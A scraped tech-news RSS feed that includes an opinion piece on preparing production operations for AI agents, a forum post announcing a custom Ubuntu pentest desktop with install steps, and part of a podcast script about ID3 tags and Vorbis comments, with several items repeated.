<p class="wp-block-paragraph">For example, an AI-enabled support workflow might retry a failed backend request repeatedly because it is trying to complete a customer task. A human operator may have stopped after one or two failures. The agent may continue until it exhausts a threshold, creates noise across monitoring systems or triggers downstream rate limits. The failure is not that the agent is malicious. The failure is that production systems were not designed to interpret that behavior correctly.</p>



<p class="wp-block-paragraph">This is where observability becomes critical. Traditional dashboards may show traffic growth, error spikes or latency changes, but they may not explain whether the behavior came from a user, application, script, automation job or AI agent. If those categories are not visible, incident response teams are forced to guess.</p>



<p class="wp-block-paragraph">Google’s <a href="https://sre.google/sre-book/monitoring-distributed-systems/">Site Reliability Engineering guidance on monitoring distributed systems</a> is useful because it frames monitoring around symptoms that require action, not just raw system signals. That distinction becomes even more important when AI-driven workflows introduce new behaviors into production.</p>



<p class="wp-block-paragraph">CIOs should expect AI to change what good observability means. It is no longer enough to monitor infrastructure health and application performance. Teams also need visibility into AI-initiated actions, agent-driven traffic patterns, tool usage, retries, failed task loops and dependency chains.</p>



<p class="wp-block-paragraph">The operational question becomes simple: when an AI system causes a production symptom, can the organization trace the action from the agent to the service to the business impact? If the answer is no, AI is already ahead of the operating model.</p>



<p class="wp-block-paragraph">The <a href="https://github.com/cncf/tag-observability/blob/main/whitepaper.md">CNCF observability whitepaper</a> describes observability as a way to understand complex system behavior from external outputs. That idea applies directly here: AI-driven systems will require observability that explains behavior across workflows, not just infrastructure components.</p>



<h2 class="wp-block-heading">Production readiness needs to change before AI scales</h2>



<p class="wp-block-paragraph">The mistake many organizations make is preparing AI for production without preparing production for AI.</p>



<p class="wp-block-paragraph"><em>“The mistake many organizations make is preparing AI for production without preparing production for AI.”</em></p>



<p class="wp-block-paragraph">A pilot can succeed with limited users, narrow workflows and close supervision. Production is different. Production introduces volume, concurrency, exceptions, outages, retries, partial failures, support queues and business pressure. AI agents will encounter all of that, and they will do so at a speed that traditional operational processes may not be ready to absorb.</p>



<p class="wp-block-paragraph">This is why CIOs should treat AI readiness as a production discipline. Before scaling AI-enabled workflows, teams should define what normal AI activity looks like, what abnormal behavior looks like and what evidence is required to troubleshoot the difference. They should know which systems an agent can touch, how agent traffic is labeled, how rate limits apply, how errors are escalated and how failed workflows are stopped.</p>



<p class="wp-block-paragraph">This is not about slowing AI adoption. It is about preventing production from becoming the testing ground for assumptions that were never validated.</p>



<p class="wp-block-paragraph">The 2024 <a href="https://dora.dev/research/2024/dora-report/">DORA Accelerate State of DevOps Report</a> noted that AI can improve individual productivity while also creating tradeoffs for delivery stability and throughput. That is a useful warning for CIOs: productivity gains do not automatically translate into operational maturity.</p>



<p class="wp-block-paragraph">The organizations that will handle this transition well will not be the ones that simply deploy the most AI tools. They will be the ones that adjust production operations early. That means treating AI activity as something to be observed, tested, limited, measured and supported like any other production workload, but with the added recognition that it may behave differently from traditional software.</p>



<p class="wp-block-paragraph">Capacity planning will also need to change. AI workflows may create irregular demand patterns, especially when agents run multi-step tasks across internal systems. A workload that looks small in a pilot can create meaningful load when hundreds or thousands of users trigger agents throughout the day. The cost impact may appear in compute, API calls, storage, logs, monitoring systems or downstream service usage.</p>



<p class="wp-block-paragraph">Change management will need to account for model behavior, prompt updates, tool integrations and workflow changes. A small update to an agent’s instructions may alter how it calls systems, how often it retries, which APIs it uses or how it handles exceptions. In production, that is not merely a content update. It is an operational change.</p>



<p class="wp-block-paragraph">Rollback planning will also need to evolve because reverting an AI-enabled workflow may involve more than restoring application code. It may require disabling agent actions, reverting prompts or temporarily removing tool integrations while preserving business continuity.</p>



<p class="wp-block-paragraph">Incident response will need clearer playbooks. Teams should know how to pause an agent, isolate a workflow, disable a tool integration, reduce task volume or route activity back to human handling when production behavior becomes unsafe or unstable.</p>



<p class="wp-block-paragraph">The larger point is that AI is not just entering the enterprise as another user-facing capability. It is entering the operating fabric of the enterprise. That makes it a CIO concern, not only an AI team concern.</p>



<p class="wp-block-paragraph">Every major technology shift eventually becomes an operational discipline rather than a technology project. AI is reaching that point now. Organizations that recognize this early will be better positioned to scale AI with confidence instead of discovering its operational consequences through production incidents. The next challenge for CIOs is not deploying AI. It is preparing production environments for how AI actually behaves.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The production assumptions AI just broke]]></title>
<description><![CDATA[Over the past decade, I have worked through multiple technology transitions, from virtualization and cloud adoption to containers and large-scale automation. Each changed how enterprise IT operated, but they all shared one characteristic: production systems still behaved in broadly predictable wa...]]></description>
<link>https://tsecurity.de/de/3705479/it-nachrichten/the-production-assumptions-ai-just-broke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705479/it-nachrichten/the-production-assumptions-ai-just-broke/</guid>
<pubDate>Wed, 05 Aug 2026 12:08:20 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past decade, I have worked through multiple technology transitions, from virtualization and cloud adoption to containers and large-scale automation. Each changed how enterprise IT operated, but they all shared one characteristic: production systems still behaved in broadly predictable ways. AI is the first shift I have seen that changes the behavior of production itself.</p>



<p class="wp-block-paragraph">In the infrastructure environments I have worked with, production has always depended on a few basic assumptions. Workloads are tied to applications. Applications have owners. Traffic patterns are reasonably predictable. Change windows are planned. Incident response starts with a known service, a known dependency or a known user action.</p>



<p class="wp-block-paragraph">AI agents challenge each one of those assumptions.</p>



<p class="wp-block-paragraph">An AI agent may initiate work without a human clicking a button. It may call APIs at machine speed, move across systems to complete a task, retry failed actions aggressively or generate unusual traffic patterns that look nothing like a traditional application flow. The individual action may be legitimate, but the operational behavior is different.</p>



<p class="wp-block-paragraph">That is the shift CIOs should pay attention to. The question is not only whether AI can be useful in enterprise operations. The harder question is whether production environments are ready for AI-driven activity that behaves less like an application and more like an autonomous participant in the enterprise.</p>



<h2 class="wp-block-heading">Production was built around predictable workloads</h2>



<p class="wp-block-paragraph">For years, production operations have been built around patterns that are easier to manage because they are relatively stable. A user logs in. An application receives a request. A service calls another service. Monitoring tools evaluate latency, errors, saturation and availability. Incident teams look for deviations from known baselines.</p>



<p class="wp-block-paragraph">This model worked because most production systems had a recognizable shape. Even in complex environments, teams could usually identify the application owner, the expected request flow, the normal volume range and the rollback path when something failed.</p>



<p class="wp-block-paragraph">AI workloads do not always behave that way. A single agent completing a business task may generate a burst of API calls, invoke several backend services, open and close sessions quickly and repeat requests in a pattern that looks abnormal when compared with human activity. From a traditional monitoring perspective, this can look like abuse, instability or an integration defect even when the agent is doing exactly what it was asked to do.</p>



<p class="wp-block-paragraph">The opposite problem is just as serious. If teams relax controls broadly to avoid blocking legitimate AI activity, they may also create room for real abuse to hide inside higher-volume machine traffic. That is not a model issue. It is an operational assumption issue.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST AI Risk Management Framework</a> emphasizes that AI risk must be understood across the full lifecycle of AI systems, including design, deployment, use and evaluation. For CIOs, that lifecycle needs to include production operations, not just model selection or application launch.</p>



<p class="wp-block-paragraph">In practice, this means AI cannot be treated as a normal application feature once it begins triggering workflows, touching data, generating traffic or interacting with operational systems. It becomes part of the production environment. That requires a different level of readiness.</p>



<p class="wp-block-paragraph">I have seen similar transitions before with cloud and automation. The first wave is usually tool-focused. Teams ask what the technology can do. The second wave is operational. Teams discover what the technology changes. AI is entering that second phase now.</p>



<h2 class="wp-block-heading">AI changes incident response and observability</h2>



<p class="wp-block-paragraph">When production breaks, teams need to answer a few basic questions quickly. What changed? What system is affected? What users are impacted? Which dependency is failing? Can we roll back safely?</p>



<p class="wp-block-paragraph">AI makes those questions harder because the cause of an incident may not be a code deployment, infrastructure outage or human-initiated workflow. It may be an agent making a decision that is technically allowed but operationally unexpected.</p>



<p class="wp-block-paragraph">For example, an AI-enabled support workflow might retry a failed backend request repeatedly because it is trying to complete a customer task. A human operator may have stopped after one or two failures. The agent may continue until it exhausts a threshold, creates noise across monitoring systems or triggers downstream rate limits. The failure is not that the agent is malicious. The failure is that production systems were not designed to interpret that behavior correctly.</p>



<p class="wp-block-paragraph">This is where observability becomes critical. Traditional dashboards may show traffic growth, error spikes or latency changes, but they may not explain whether the behavior came from a user, application, script, automation job or AI agent. If those categories are not visible, incident response teams are forced to guess.</p>



<p class="wp-block-paragraph">Google’s <a href="https://sre.google/sre-book/monitoring-distributed-systems/">Site Reliability Engineering guidance on monitoring distributed systems</a> is useful because it frames monitoring around symptoms that require action, not just raw system signals. That distinction becomes even more important when AI-driven workflows introduce new behaviors into production.</p>



<p class="wp-block-paragraph">CIOs should expect AI to change what good observability means. It is no longer enough to monitor infrastructure health and application performance. Teams also need visibility into AI-initiated actions, agent-driven traffic patterns, tool usage, retries, failed task loops and dependency chains.</p>



<p class="wp-block-paragraph">The operational question becomes simple: when an AI system causes a production symptom, can the organization trace the action from the agent to the service to the business impact? If the answer is no, AI is already ahead of the operating model.</p>



<p class="wp-block-paragraph">The <a href="https://github.com/cncf/tag-observability/blob/main/whitepaper.md">CNCF observability whitepaper</a> describes observability as a way to understand complex system behavior from external outputs. That idea applies directly here: AI-driven systems will require observability that explains behavior across workflows, not just infrastructure components.</p>



<h2 class="wp-block-heading">Production readiness needs to change before AI scales</h2>



<p class="wp-block-paragraph">The mistake many organizations make is preparing AI for production without preparing production for AI.</p>



<p class="wp-block-paragraph"><em>“The mistake many organizations make is preparing AI for production without preparing production for AI.”</em></p>



<p class="wp-block-paragraph">A pilot can succeed with limited users, narrow workflows and close supervision. Production is different. Production introduces volume, concurrency, exceptions, outages, retries, partial failures, support queues and business pressure. AI agents will encounter all of that, and they will do so at a speed that traditional operational processes may not be ready to absorb.</p>



<p class="wp-block-paragraph">This is why CIOs should treat AI readiness as a production discipline. Before scaling AI-enabled workflows, teams should define what normal AI activity looks like, what abnormal behavior looks like and what evidence is required to troubleshoot the difference. They should know which systems an agent can touch, how agent traffic is labeled, how rate limits apply, how errors are escalated and how failed workflows are stopped.</p>



<p class="wp-block-paragraph">This is not about slowing AI adoption. It is about preventing production from becoming the testing ground for assumptions that were never validated.</p>



<p class="wp-block-paragraph">The 2024 <a href="https://dora.dev/research/2024/dora-report/">DORA Accelerate State of DevOps Report</a> noted that AI can improve individual productivity while also creating tradeoffs for delivery stability and throughput. That is a useful warning for CIOs: productivity gains do not automatically translate into operational maturity.</p>



<p class="wp-block-paragraph">The organizations that will handle this transition well will not be the ones that simply deploy the most AI tools. They will be the ones that adjust production operations early. That means treating AI activity as something to be observed, tested, limited, measured and supported like any other production workload, but with the added recognition that it may behave differently from traditional software.</p>



<p class="wp-block-paragraph">Capacity planning will also need to change. AI workflows may create irregular demand patterns, especially when agents run multi-step tasks across internal systems. A workload that looks small in a pilot can create meaningful load when hundreds or thousands of users trigger agents throughout the day. The cost impact may appear in compute, API calls, storage, logs, monitoring systems or downstream service usage.</p>



<p class="wp-block-paragraph">Change management will need to account for model behavior, prompt updates, tool integrations and workflow changes. A small update to an agent’s instructions may alter how it calls systems, how often it retries, which APIs it uses or how it handles exceptions. In production, that is not merely a content update. It is an operational change.</p>



<p class="wp-block-paragraph">Rollback planning will also need to evolve because reverting an AI-enabled workflow may involve more than restoring application code. It may require disabling agent actions, reverting prompts or temporarily removing tool integrations while preserving business continuity.</p>



<p class="wp-block-paragraph">Incident response will need clearer playbooks. Teams should know how to pause an agent, isolate a workflow, disable a tool integration, reduce task volume or route activity back to human handling when production behavior becomes unsafe or unstable.</p>



<p class="wp-block-paragraph">The larger point is that AI is not just entering the enterprise as another user-facing capability. It is entering the operating fabric of the enterprise. That makes it a CIO concern, not only an AI team concern.</p>



<p class="wp-block-paragraph">Every major technology shift eventually becomes an operational discipline rather than a technology project. AI is reaching that point now. Organizations that recognize this early will be better positioned to scale AI with confidence instead of discovering its operational consequences through production incidents. The next challenge for CIOs is not deploying AI. It is preparing production environments for how AI actually behaves.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Interview: Cyberangriffe treffen das Kerngeschäft | E3-Magazin]]></title>
<description><![CDATA[Today, security is key to resilience, regulation, and digital sovereignty. Josko Jeraj, the new CEO of Munich-based IT service provider Manage Now ...]]></description>
<link>https://tsecurity.de/de/3705316/it-security-nachrichten/interview-cyberangriffe-treffen-das-kerngeschaeft-e3-magazin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705316/it-security-nachrichten/interview-cyberangriffe-treffen-das-kerngeschaeft-e3-magazin/</guid>
<pubDate>Wed, 05 Aug 2026 11:03:33 +0200</pubDate>
<content:encoded><![CDATA[Today, <b>security</b> is key to resilience, regulation, and digital sovereignty. Josko Jeraj, the new CEO of Munich-based <b>IT</b> service provider Manage Now ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake Bank of America Phishing Scam Installs Remote Access Malware]]></title>
<description><![CDATA[Cybercriminals are using a fake Bank of America phishing campaign to trick users into downloading a malicious script that installs ScreenConnect, enabling remote access and persistence on compromised systems]]></description>
<link>https://tsecurity.de/de/3705237/it-security-nachrichten/fake-bank-of-america-phishing-scam-installs-remote-access-malware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705237/it-security-nachrichten/fake-bank-of-america-phishing-scam-installs-remote-access-malware/</guid>
<pubDate>Wed, 05 Aug 2026 10:22:50 +0200</pubDate>
<content:encoded><![CDATA[Cybercriminals are using a fake Bank of America phishing campaign to trick users into downloading a malicious script that installs ScreenConnect, enabling remote access and persistence on compromised systems]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Approach an Interview With Mark Zuckerberg]]></title>
<description><![CDATA[When tech executives call a reporter, they usually have a point to make. The job is to listen, but also push and prod, Mike Isaac says.]]></description>
<link>https://tsecurity.de/de/3705166/ai-nachrichten/how-to-approach-an-interview-with-mark-zuckerberg/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3705166/ai-nachrichten/how-to-approach-an-interview-with-mark-zuckerberg/</guid>
<pubDate>Wed, 05 Aug 2026 09:53:31 +0200</pubDate>
<content:encoded><![CDATA[When tech executives call a reporter, they usually have a point to make. The job is to listen, but also push and prod, Mike Isaac says.]]></content:encoded>
</item>
<item>
<title><![CDATA[X47 — custom Ubuntu 26.04 desktop for pentest/dev (debloated, cube desktops, WezTerm, free ISO)]]></title>
<description><![CDATA[Hey — I’ve been building a custom Ubuntu 26.04 desktop called X47. It’s not a fork with its own package repos; it’s a remastered Ubuntu installer + an idempotent install script that reproduces the whole setup on a fresh machine. What it is A daily-driver Ubuntu desktop aimed at cybersecurity / pe...]]></description>
<link>https://tsecurity.de/de/3704777/linux-tipps/x47-custom-ubuntu-2604-desktop-for-pentestdev-debloated-cube-desktops-wezterm-free-iso/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704777/linux-tipps/x47-custom-ubuntu-2604-desktop-for-pentestdev-debloated-cube-desktops-wezterm-free-iso/</guid>
<pubDate>Wed, 05 Aug 2026 06:25:39 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hey — I’ve been building a custom Ubuntu 26.04 desktop called X47. It’s not a fork with its own package repos; it’s a remastered Ubuntu installer + an idempotent install script that reproduces the whole setup on a fresh machine.</p> <h1>What it is</h1> <p>A daily-driver Ubuntu desktop aimed at cybersecurity / pentest / general Linux work:</p> <ul> <li>Debloated — games, LibreOffice, Thunderbird, GNOME Terminal, App Centre snap, etc. trimmed; boot/idle tweaks (ClamAV on-demand, printing services off by default, etc.)</li> <li>WezTerm as the only default terminal (compact window, X47 watermark, no OS title bar)</li> <li>Mullvad VPN + Tor Browser in the app menu</li> <li>Pentest + dev toolchain (apt / Go / pipx / cargo / GitHub bins) with custom app-grid icons</li> <li>Desktop FX — bottom dock, Desktop Cube, Coverflow Alt-Tab, Blur My Shell, wobbly windows, TV Glitch open / Broken Glass close</li> <li>Per-workspace wallpapers — ASCII knuckle-duster in teal / green / red / purple so each cube face is obvious</li> <li>Linux CMD Helper — desktop card: ask in plain English, get the Ubuntu terminal command back (needs your own Anthropic key; nothing is baked into the ISO)</li> <li>Hardened defaults — UFW, fail2ban, AppArmor, auditd, Firefox enterprise policy (tracking protection, HTTPS-only, DoH, etc.)</li> <li>Optional <code>--with-amnesia</code>: Tor-forced <code>anon</code> session (opt-in)</li> </ul> <p>Part of <a href="https://vulnscape.net/">VulnScape</a>. Docs + screenshots: <a href="https://sk1tzwzd.github.io/ubuntu-x47-build/">https://sk1tzwzd.github.io/ubuntu-x47-build/</a></p> <h1>Download the ISO</h1> <p>Latest release (v1.9.2):<br> <a href="https://github.com/sk1tzwzd/ubuntu-x47-build/releases/tag/v1.9.2">https://github.com/sk1tzwzd/ubuntu-x47-build/releases/tag/v1.9.2</a></p> <p>GitHub’s 2 GB asset limit means the ISO is split. Download <code>SHA256SUMS</code> + every <code>*.part</code>, then:</p> <pre><code>cat x47-ubuntu-26.04-desktop-amd64.iso.*.part &gt; x47-ubuntu-26.04-desktop-amd64.iso sha256sum -c SHA256SUMS --ignore-missing </code></pre> <p>Flash to USB (Disks, Etcher, or <code>dd</code>), boot, choose Install X47 Ubuntu 26.04 (custom build). Normal Ubuntu installer flow — you pick language, disk, your own username/password. On first login a terminal runs <code>install.sh</code>. Log out/in once for the GNOME extensions / wallpapers.</p> <p>The image is a <code>git archive</code> of the repo only — no maintainer home files, keys, or personal config.</p> <h1>Or install on an existing Ubuntu box</h1> <pre><code>git clone https://github.com/sk1tzwzd/ubuntu-x47-build.git cd ubuntu-x47-build ./install.sh </code></pre> <p>Repo: <a href="https://github.com/sk1tzwzd/ubuntu-x47-build">https://github.com/sk1tzwzd/ubuntu-x47-build</a></p> <p>Happy to take feedback / bug reports. Optional tip jar if you find it useful: <a href="https://buymeacoffee.com/sk1tzwzd">https://buymeacoffee.com/sk1tzwzd</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/InvestigatorOdd8282"> /u/InvestigatorOdd8282 </a> <br> <span><a href="https://i.redd.it/6bvn5q7j2ghh1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1vfqxjy/x47_custom_ubuntu_2604_desktop_for_pentestdev/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[X47 — custom Ubuntu 26.04 desktop for pentest/dev (debloated, cube desktops, WezTerm, free ISO)]]></title>
<description><![CDATA[Hey — I’ve been building a custom Ubuntu 26.04 desktop called X47. It’s not a fork with its own package repos; it’s a remastered Ubuntu installer + an idempotent install script that reproduces the whole setup on a fresh machine. What it is A daily-driver Ubuntu desktop aimed at cybersecurity / pe...]]></description>
<link>https://tsecurity.de/de/3704778/linux-tipps/x47-custom-ubuntu-2604-desktop-for-pentestdev-debloated-cube-desktops-wezterm-free-iso/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704778/linux-tipps/x47-custom-ubuntu-2604-desktop-for-pentestdev-debloated-cube-desktops-wezterm-free-iso/</guid>
<pubDate>Wed, 05 Aug 2026 06:25:39 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hey — I’ve been building a custom Ubuntu 26.04 desktop called X47. It’s not a fork with its own package repos; it’s a remastered Ubuntu installer + an idempotent install script that reproduces the whole setup on a fresh machine.</p> <h1>What it is</h1> <p>A daily-driver Ubuntu desktop aimed at cybersecurity / pentest / general Linux work:</p> <ul> <li>Debloated — games, LibreOffice, Thunderbird, GNOME Terminal, App Centre snap, etc. trimmed; boot/idle tweaks (ClamAV on-demand, printing services off by default, etc.)</li> <li>WezTerm as the only default terminal (compact window, X47 watermark, no OS title bar)</li> <li>Mullvad VPN + Tor Browser in the app menu</li> <li>Pentest + dev toolchain (apt / Go / pipx / cargo / GitHub bins) with custom app-grid icons</li> <li>Desktop FX — bottom dock, Desktop Cube, Coverflow Alt-Tab, Blur My Shell, wobbly windows, TV Glitch open / Broken Glass close</li> <li>Per-workspace wallpapers — ASCII knuckle-duster in teal / green / red / purple so each cube face is obvious</li> <li>Linux CMD Helper — desktop card: ask in plain English, get the Ubuntu terminal command back (needs your own Anthropic key; nothing is baked into the ISO)</li> <li>Hardened defaults — UFW, fail2ban, AppArmor, auditd, Firefox enterprise policy (tracking protection, HTTPS-only, DoH, etc.)</li> <li>Optional <code>--with-amnesia</code>: Tor-forced <code>anon</code> session (opt-in)</li> </ul> <p>Part of <a href="https://vulnscape.net/">VulnScape</a>. Docs + screenshots: <a href="https://sk1tzwzd.github.io/ubuntu-x47-build/">https://sk1tzwzd.github.io/ubuntu-x47-build/</a></p> <h1>Download the ISO</h1> <p>Latest release (v1.9.2):<br> <a href="https://github.com/sk1tzwzd/ubuntu-x47-build/releases/tag/v1.9.2">https://github.com/sk1tzwzd/ubuntu-x47-build/releases/tag/v1.9.2</a></p> <p>GitHub’s 2 GB asset limit means the ISO is split. Download <code>SHA256SUMS</code> + every <code>*.part</code>, then:</p> <pre><code>cat x47-ubuntu-26.04-desktop-amd64.iso.*.part &gt; x47-ubuntu-26.04-desktop-amd64.iso sha256sum -c SHA256SUMS --ignore-missing </code></pre> <p>Flash to USB (Disks, Etcher, or <code>dd</code>), boot, choose Install X47 Ubuntu 26.04 (custom build). Normal Ubuntu installer flow — you pick language, disk, your own username/password. On first login a terminal runs <code>install.sh</code>. Log out/in once for the GNOME extensions / wallpapers.</p> <p>The image is a <code>git archive</code> of the repo only — no maintainer home files, keys, or personal config.</p> <h1>Or install on an existing Ubuntu box</h1> <pre><code>git clone https://github.com/sk1tzwzd/ubuntu-x47-build.git cd ubuntu-x47-build ./install.sh </code></pre> <p>Repo: <a href="https://github.com/sk1tzwzd/ubuntu-x47-build">https://github.com/sk1tzwzd/ubuntu-x47-build</a></p> <p>Happy to take feedback / bug reports. Optional tip jar if you find it useful: <a href="https://buymeacoffee.com/sk1tzwzd">https://buymeacoffee.com/sk1tzwzd</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/InvestigatorOdd8282"> /u/InvestigatorOdd8282 </a> <br> <span><a href="https://i.redd.it/6bvn5q7j2ghh1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1vfqxjy/x47_custom_ubuntu_2604_desktop_for_pentestdev/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4698: ID3 Tags and Vorbis Comments]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






--------------------






01 Introduction






In a response to a post on a previous episode, I said that I would take a look at ID3 tags. 


ID3 tags are text information that is added to an MP3 audio file, such as the author, dat...]]></description>
<link>https://tsecurity.de/de/3704569/podcasts/hpr4698-id3-tags-and-vorbis-comments/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704569/podcasts/hpr4698-id3-tags-and-vorbis-comments/</guid>
<pubDate>Wed, 05 Aug 2026 02:42:56 +0200</pubDate>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In a response to a post on a previous episode, I said that I would take a look at ID3 tags. </p>

<p>
ID3 tags are text information that is added to an MP3 audio file, such as the author, date, name, and other information.</p>

<p>

</p>

<p>
02</p>

<p>
While I am at it I will also look at Vorbis comments, which perform a similar function for vorbis, the container format for "ogg" audio files.</p>

<p>
As example audio files, I will use a recent HPR episode, hpr4678 in both mp3 and vorbis formats plus also one from another podcast as well. </p>

<p>

</p>

<p>
03</p>

<p>
There is Free Software which you can use to view, edit, or remove both types of tags or comments, and I will describe how to use it in this episode.</p>

<p>

</p>

<p>
04</p>

<p>
I will cover how to view tags and extract the text information, as well as how to strip the tags from a file and why you may wish to do so under certain very specific circumstances.</p>

<p>

</p>

<p>
I won't cover how to add to or edit tags in an MP3 or OGG file, as that is a more involved subject that I don't have much experience with. </p>

<p>

</p>

<p>
05</p>

<p>
I will mainly talk about ID3 MP3 tags rather than vorbis comments for the simple reason that the situation with MP3 files is an utter mess while vorbis comments are very straightforward and so there isn't as much to say about them.</p>

<p>

</p>

<p>
06</p>

<p>
As often happens when researching a subject to write a podcast script, I have learned quite a bit that I didn't know previously, and discovered that things that I thought I did know were wrong.</p>

<p>
I hope that you may learn a few things from this episode that you didn't know previously either. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
07 Background</p>

<p>

</p>

<p>
I won't go over the detailed history of ID3 tags, as I don't have a reliable source for this.</p>

<p>
Briefly however, so far as I can determine, there is no official independent standard for ID3 tags or vorbis comments.</p>

<p>
Both seem to be more in the nature of a convention that was created by an unofficial group of contributors rather than something issued by a standards body.</p>

<p>

</p>

<p>
08</p>

<p>
However, I don't see the lack of a conventional standards body as necessarily a problem with respect to the use of ID3 tags or vorbis comments.</p>

<p>
I just am not familiar enough with the industry to know who to regard as being an authoritative source when it comes to the history and development of them</p>

<p>
Since I am unsure as who to credit with what developments, I will avoid that sort of detail.</p>

<p>

</p>

<p>
09 ID3 Tags</p>

<p>
There is a web site with the URL of ID3.org that seems to have the best reference material on the topic of ID3 tags.</p>

<p>
According to this site, the term "ID3" means "IDentify an MP3".</p>

<p>

</p>

<p>
10 Vorbis Comments</p>

<p>
For vorbis, the reference site seems to be xiph.org.</p>

<p>
Although the implementation details may differ from ID3, from our perspective as podcast listeners, they can be seen as more or less equivalent in terms of what I am going to address here.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
11 ID3 Details</p>

<p>

</p>

<p>

</p>

<p>
Versions</p>

<p>
One of the problems with ID3 is that there are multiple incompatible versions, particularly from the very early days.</p>

<p>
ID3v1 tags are located at the end of the audio file in the last 128 bytes.</p>

<p>
This was done for compatibility reasons to allow early MP3 players to simply ignore the tags if they didn't know how to deal with them. </p>

<p>
The tags would simply appear as a short burst of static from the perspective of these early players.</p>

<p>

</p>

<p>
12</p>

<p>
ID3v2 moved the tags to the start of the MP3 file to allow players to scan the tags for information such as titles without having to read to the end of the file to find them.</p>

<p>
There are far fewer limits on the amount of information that can be placed in ID3v2 tags.</p>

<p>

</p>

<p>
13</p>

<p>
ID3v1 is obsolete and only very old players will require it.</p>

<p>
However, it is still used by some publishers for backward compatibility reasons.</p>

<p>
ID3v1 included numerical musical "genre" category codes which apparently turned out to be a very bad idea in practice. </p>

<p>

</p>

<p>
14</p>

<p>
Furthermore, all genre categories above 70 were defined by an audio software company called Nullsoft who created software such as Winamp.</p>

<p>
These codes were never actually part of the ID3 standard, although there was never really a standard to begin with.</p>

<p>

</p>

<p>
15</p>

<p>
The current ID3 version is 2.3. There is a version 2.4, but apparently it is not actually generally accepted and may be a developmental dead end.</p>

<p>

</p>

<p>
16</p>

<p>
The id3.org web site contains a copy of the ID3v2.3 standard, but I am not going to address the technical details here.</p>

<p>
This would only be of interest to someone who was creating software to read and write ID3 tags.</p>

<p>

</p>

<p>
17 ID3v2 Frames</p>

<p>
The ID3v2 information is encoded into what are called "frames".</p>

<p>
The text information is contained in text information frames.</p>

<p>

</p>

<p>
18</p>

<p>
Text information frames start with a set of four character identifiers, all starting with the capital letter 'T'.</p>

<p>
Examples</p>

<p>
"TALB" is the "Album/Movie/Show title" frame.</p>

<p>
"TIT2" is the "Title/Songname/Content description" frame.</p>

<p>
"TYER" is the "Year" frame.</p>

<p>

</p>

<p>
There are many more, but I won't go into more detail here.</p>

<p>

</p>

<p>
19 HPR ID3 Tags</p>

<p>
HPR makes an interesting case study because they use both ID3v1 and ID3v2 in the same file.</p>

<p>
This can cause some interesting problems with software that tries to read those tags.</p>

<p>
This is because most software appears to expect one or the other, but not both.</p>

<p>
However, so long as this does not cause problems with anything that actually plays the files, this is not a problem so far as people who just want to listen to podcasts are concerned.</p>

<p>

</p>

<p>
It does mean though that we have more to talk about than we would otherwise would have had.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
20 Vorbis Comment Fields</p>

<p>

</p>

<p>
The situation with Vorbis comments is much simpler, as there seems to be just one standard that was adhered to from the start rather than a succession of hacks.</p>

<p>
Information is stored in "fields", which xiph describes as being like Unix environment variables.</p>

<p>
These consist of a field name followed by an equal sign and then the information intended for that field.</p>

<p>
Field names are case insensitive.</p>

<p>

</p>

<p>
21</p>

<p>
The field names are not firmly defined at this stage, but there is a list of recommended names.</p>

<p>
Examples are</p>

<p>
"TITLE" is the Track or Work name.</p>

<p>
"ARTIST" is the person responsible for the work.</p>

<p>
"LICENSE" is the license information.</p>

<p>

</p>

<p>
22</p>

<p>
You can see the complete list for yourself on the comment field and header specification page at xiph.org</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
23 Software for Listing, Adding, and Modifying Tags and Fields</p>

<p>

</p>

<p>
There are three software packages that I will now describe which allow you to list, add, modify, and remove tags and fields.</p>

<p>
There are other packages which can do the same, including some which offer a GUI interface.</p>

<p>
However, I will limit myself to describing these three.</p>

<p>
The principles should be the same for others.</p>

<p>

</p>

<p>
24 ffprobe</p>

<p>
ffprobe is part of the ffmpeg package.</p>

<p>
If you have listened to my previous episodes on audio, you will have heard me talk about ffmpeg.</p>

<p>
ffprobe is used to display information about media files rather than for modifying them.</p>

<p>
ffprobe is licensed under the GPLv2 or later.</p>

<p>

</p>

<p>
ffprobe can be used to display information about both MP3 and OGG Vorbis files.</p>

<p>

</p>

<p>
25 ID3v2</p>

<p>
The next is the rather aptly named id3v2 and works with MP3 files.</p>

<p>
On Linux systems, this should be provided by the id3v2 package.</p>

<p>
On Debian derivatives this can be installed as follows</p>

<p>

</p>

<p>
sudo apt install id3v2</p>

<p>

</p>

<p>
26</p>

<p>
This also installs a man page which provides a brief list of the options.</p>

<p>
According to the README file in the source tarball, this is published under the LGPL</p>

<p>
ID3v2 is particularly useful for displaying ID3v1 tags.</p>

<p>

</p>
